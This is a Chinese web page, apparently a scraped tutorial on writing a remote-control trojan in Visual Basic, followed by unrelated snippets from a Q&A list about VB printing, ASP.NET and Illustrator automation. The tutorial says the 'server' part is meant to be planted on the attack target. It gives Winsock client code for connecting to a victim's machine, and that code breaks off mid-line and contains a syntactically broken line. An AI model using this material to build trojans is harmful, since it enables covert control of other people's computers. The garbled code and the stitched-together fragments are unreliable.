用vb编写木马程序
木马一般分为两个主程序:一个是服务器端的程序(server),另一个是客户端程序(client),服务器程序是给
攻击对象用的,千万不可用错了----给自己种马的人......^0^
客户程序才是给自己用的,于是我们就用VB建立两个程序,一个为服务器端程序 cockhorseserver,另一个为
客户端程序cockhorseclient.
先在cockhorseclient程序中建立一个窗体,加载一个winsock控件,称为tcpclient,再加上两个文本框,用来
输入服务器的IP地址和端口号.另外还要建立一个按钮,按下后可以对连接进行初始化.
代码我写下:
Private Sub Command1_Click()
'调用connect方法,初始化连接.
tcpclient.RemoteHost = ipinput.Text
tcpclient.RemotePort = Val(portinput.Text) '这是端口号,默认为1001
tcpclient.Connect '和指定的IP相对的计算机相连接
cmdconnect.Enabled = False
End Sub
(在收到数据之后,就要对这些数据做出相应的处理,使用dataarrival事件,可以方便运载数据进操作.
Private Sub tcpclient_dataArrival(ByVal bytestotal As Long)
Dim strdata As String
tcpclient.GetData strdata
If strdata = "test connect" Then
tcpstate.Text = "connect OK" + vbNewLine + LocalIP Is ":" + -tcpclient.LocalIP + "computer name is : " + tcpclient.LocalHostName
tcpstate.Text = tcpstate.Text + vbNewLine + "remote ip is :" + -tcpclient.RemoteHostIP + "computer name is : " + tcpclient.remotehostname
If InStr(Trim(strdata), "clos
相关问答：
login.aspx.vb:
Public ReadOnly Property nameT() As String
Get
Return TextBox1.Text
&nb ......
一个查询某信息的ASP网页，提交采用的是post方法，查找结果的网页必须右键点击“查看源文件”才能看到真正查询结果网页的源代码，用浏览器菜单看到的是查询前的源代码
用VB有什么办法可以获取到这个查询后的源代� ......
Printer.ScaleMode = 6
6表示毫米
Printer.PaperSize = vbPRPSA4
'初始坐标
x = 1
y = 4
'最大的线筐
Printer.DrawStyle = 0
Printer.Line (x, y)-(x + 132.5, y) ......
请教一下：我用vb写了一个调用Illustrator的测试程序，代码很简单：Private Sub Command1_Click()
Dim app As New Illustrator.Application
Dim doc As Illustrator.Document
Dim thislayer As Illustrator.Layer ......
TF1.text = " <_2_ZCHGZBH> " & MSFlexGrid1.TextMatrix(k, 1) & " </_2_ZCHGZBH> "
大家好，我用上面一个东西赋值 TF1.text = & ......
